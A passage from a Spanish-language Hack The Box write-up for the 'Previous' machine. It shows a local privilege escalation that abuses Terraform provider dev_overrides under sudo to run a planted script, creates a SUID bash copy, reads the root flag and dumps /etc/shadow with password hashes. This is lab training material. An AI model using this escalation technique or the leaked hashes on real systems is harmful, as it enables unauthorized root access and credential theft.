-rw-r--r-- 1 root root 1.1K Aug 28 09:01 terraform.tfstate
-bash-5.1$

Se especifica el provider/plugin examples, el archivo /root/examples/hello-world.ts fuente y unicamente se muestra el directorio destino.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
-bash-5.1$ cat main.tf 
terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

resource "examples_example" "example" {
  source_path = var.source_path
}

output "destination_path" {
  value = examples_example.example.destination_path
}
-bash-5.1$

El archivo terraform.tfstate muestra el archivo destino en /home/jeremy/docker/previous/public/examples/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
-bash-5.1$ cat terraform.tfstate 
{
  "version": 4,
  "terraform_version": "1.11.4",
  "serial": 8,
  "lineage": "44b13e76-4b23-5fd1-8bf6-b5625394edda",
  "outputs": {
    "destination_path": {
      "value": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
      "type": "string"
    }
  },
  "resources": [
    {
      "mode": "managed",
      "type": "examples_example",
      "name": "example",
      "provider": "provider[\"previous.htb/terraform/examples\"]",
      "instances": [
        {
          "schema_version": 0,
          "attributes": {
            "destination_path": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
            "id": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
            "source_path": "/root/examples/hello-world.ts"
          },
          "sensitive_attributes": []
        }
      ]
    }
  ],
  "check_results": [
    {
      "object_kind": "var",
      "config_addr": "var.source_path",
      "status": "pass",
      "objects": [
        {
          "object_addr": "var.source_path",
          "status": "pass"
        }
      ]
    }
  ]
}
-bash-5.1$

Jeremy tiene un archivo de configuracion para terraform en su directorio principal. Este especifica el directorio donde se encuentra el providier.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
-bash-5.1$ cat .terraformrc 
provider_installation {
        dev_overrides {
                "previous.htb/terraform/examples" = "/usr/local/go/bin"
        }
        direct {}
}
-bash-5.1$ ls -lah .terraform.d/
total 12K
drwxr-xr-x 2 root   root   4.0K Aug 28 07:58 .
drwxr-x--- 6 jeremy jeremy 4.0K Aug 28 08:03 ..
-rw-r--r-- 1 root   root    394 Aug 28 07:58 checkpoint_signature
-bash-5.1$
-bash-5.1$ ls -lah /usr/local/go/bin
total 38M
drwxr-xr-x  2 root root 4.0K Aug 21 18:38 .
drwxr-xr-x 10 root root 4.0K Aug  7  2024 ..
-rwxr-xr-x  1 root root  13M Aug  7  2024 go
-rwxr-xr-x  1 root root 2.8M Aug  7  2024 gofmt
-rwxr-xr-x  1 root root  23M Aug 21 18:38 terraform-provider-examples
-bash-5.1$

Si realizamos la ejecucion este muestra que no se encontraron cambios al archivo hello-world.ts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
-bash-5.1$ sudo /usr/bin/terraform -chdir\=/opt/examples apply
│ Warning: Provider development overrides are in effect
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /usr/local/go/bin
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]

No changes. Your infrastructure matches the configuration.

Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed.

Apply complete! Resources: 0 added, 0 changed, 0 destroyed.

Outputs:

destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts"
-bash-5.1$

Custom Provider

Creamos un script en bash bajo el mismo nombre del provider para ejecutar cat y crear el archivo /dev/shm/passwd.

1
2
echo -e '#!/usr/bin/env bash\ncat /etc/passwd > /dev/shm/passwd' > /dev/shm/terraform-provider-examples
chmod +x /dev/shm/terraform-provider-examples

Modificamos el archivo de configuracion .terraformrc agregando el directorio donde se encuentra el script.

1
2
3
4
5
6
7
# .terraformrc
provider_installation {
        dev_overrides {
                "previous.htb/terraform/examples" = "/dev/shm/"
        }
        direct {}
}

Ejecutamos el terraform con sudo y observamos que se ejecuto el script.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
jeremy@previous:~$ sudo /usr/bin/terraform -chdir\=/opt/examples apply
[sudo] password for jeremy: 
│ Warning: Provider development overrides are in effect
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /dev/shm
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
│ Error: Failed to load plugin schemas
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider previous.htb/terraform/examples: failed to instantiate
│ provider "previous.htb/terraform/examples" to obtain schema: Unrecognized remote plugin message: 
│ Failed to read any lines from plugin's stdout
│ This usually means
│   the plugin was not compiled for this architecture,
│   the plugin is missing dynamic-link libraries necessary to run,
│   the plugin is not executable by this process due to file permissions, or
│   the plugin failed to negotiate the initial go-plugin protocol handshake
│ Additional notes about plugin:
│   Path: /dev/shm/terraform-provider-examples
│   Mode: -rwxrwxr-x
│   Owner: 1000 [jeremy] (current: 0 [root])
│   Group: 1000 [jeremy] (current: 0 [root])
│ ..
jeremy@previous:~$ ls -lah /dev/shm
total 8.0K
drwxrwxrwt  2 root   root     80 Aug 28 09:32 .
drwxr-xr-x 18 root   root   3.9K Aug 28 09:19 ..
-rw-r--r--  1 root   root   1.9K Aug 28 09:32 passwd
-rwxrwxr-x  1 jeremy jeremy   54 Aug 28 09:31 terraform-provider-examples
jeremy@previous:~$

Shell

Modificamos el script para realizar una copia de bash con permisos SUID.

1
2
echo -e '#!/usr/bin/env bash\ncp $(which bash) /usr/bin/sc; chmod u+s /usr/bin/sc' > /dev/shm/terraform-provider-examples
chmod +x /dev/shm/terraform-provider-examples

Ejecutamos y verificamos que la copia fue realizada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
jeremy@previous:~$ echo -e '#!/usr/bin/env bash\ncp $(which bash) /usr/bin/sc; chmod u+s /usr/bin/sc' > /dev/shm/terraform-provider-examples ; chmod +x /dev/shm/terraform-provider-examples
jeremy@previous:~$ sudo /usr/bin/terraform -chdir\=/opt/examples apply
│ Warning: Provider development overrides are in effect
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /dev/shm
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
│ Error: Failed to load plugin schemas
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider previous.htb/terraform/examples: failed to instantiate
│ provider "previous.htb/terraform/examples" to obtain schema: Unrecognized remote plugin message: 
│ Failed to read any lines from plugin's stdout
│ This usually means
│   the plugin was not compiled for this architecture,
│   the plugin is missing dynamic-link libraries necessary to run,
│   the plugin is not executable by this process due to file permissions, or
│   the plugin failed to negotiate the initial go-plugin protocol handshake
│ Additional notes about plugin:
│   Path: /dev/shm/terraform-provider-examples
│   Mode: -rwxrwxr-x
│   Owner: 1000 [jeremy] (current: 0 [root])
│   Group: 1000 [jeremy] (current: 0 [root])
│ ..
jeremy@previous:~$ ls -lah /usr/bin/sc
-rwsr-xr-x 1 root root 1.4M Aug 28 09:33 /usr/bin/sc
jeremy@previous:~$ 

Ejecutamos bash con la flag -p logrando obtener acceso root y la flag root.txt.

1
2
3
4
5
6
7
8
9
jeremy@previous:~$ /usr/bin/sc -p
sc-5.1# id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) groups=1000(jeremy)
sc-5.1# cd /root
sc-5.1# ls
clean  examples  go  root.txt
sc-5.1# cat root.txt 
c10a212dd8f10187944b79db416c6219
sc-5.1#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
sc-5.1# cat /etc/shadow
root:$y$j9T$8eJygIdCzBjq.MydZo1XO0$2l7w4GXSdYpIEuvzgPad7Tm2YK6/7L.mTU.CiLfaPf8:20321:0:99999:7:::
daemon:*:19405:0:99999:7:::
bin:*:19405:0:99999:7:::
sys:*:19405:0:99999:7:::
sync:*:19405:0:99999:7:::
games:*:19405:0:99999:7:::
man:*:19405:0:99999:7:::
lp:*:19405:0:99999:7:::
mail:*:19405:0:99999:7:::
news:*:19405:0:99999:7:::
uucp:*:19405:0:99999:7:::
proxy:*:19405:0:99999:7:::
www-data:*:19405:0:99999:7:::
backup:*:19405:0:99999:7:::
list:*:19405:0:99999:7:::
irc:*:19405:0:99999:7:::
gnats:*:19405:0:99999:7:::
nobody:*:19405:0:99999:7:::
_apt:*:19405:0:99999:7:::
systemd-network:*:19405:0:99999:7:::
systemd-resolve:*:19405:0:99999:7:::
messagebus:*:19405:0:99999:7:::
systemd-timesync:*:19405:0:99999:7:::
pollinate:*:19405:0:99999:7:::
sshd:*:19405:0:99999:7:::
syslog:*:19405:0:99999:7:::
uuidd:*:19405:0:99999:7:::
tcpdump:*:19405:0:99999:7:::
tss:*:19405:0:99999:7:::
landscape:*:19405:0:99999:7:::
fwupd-refresh:*:19405:0:99999:7:::
usbmux:*:19474:0:99999:7:::
lxd:!:19474::::::
jeremy:$y$j9T$.12cctgaWMDR8r3JYiB5q0$xAiP7hRx8A8br/fd2HPW8Ctu8XumwSCAsH4v9XUxdb4:20321:0:99999:7:::
dnsmasq:*:20321:0:99999:7:::
_laurel:!:20321::::::
sc-5.1#
Share on

Dany Sucuc
WRITTEN BY
sckull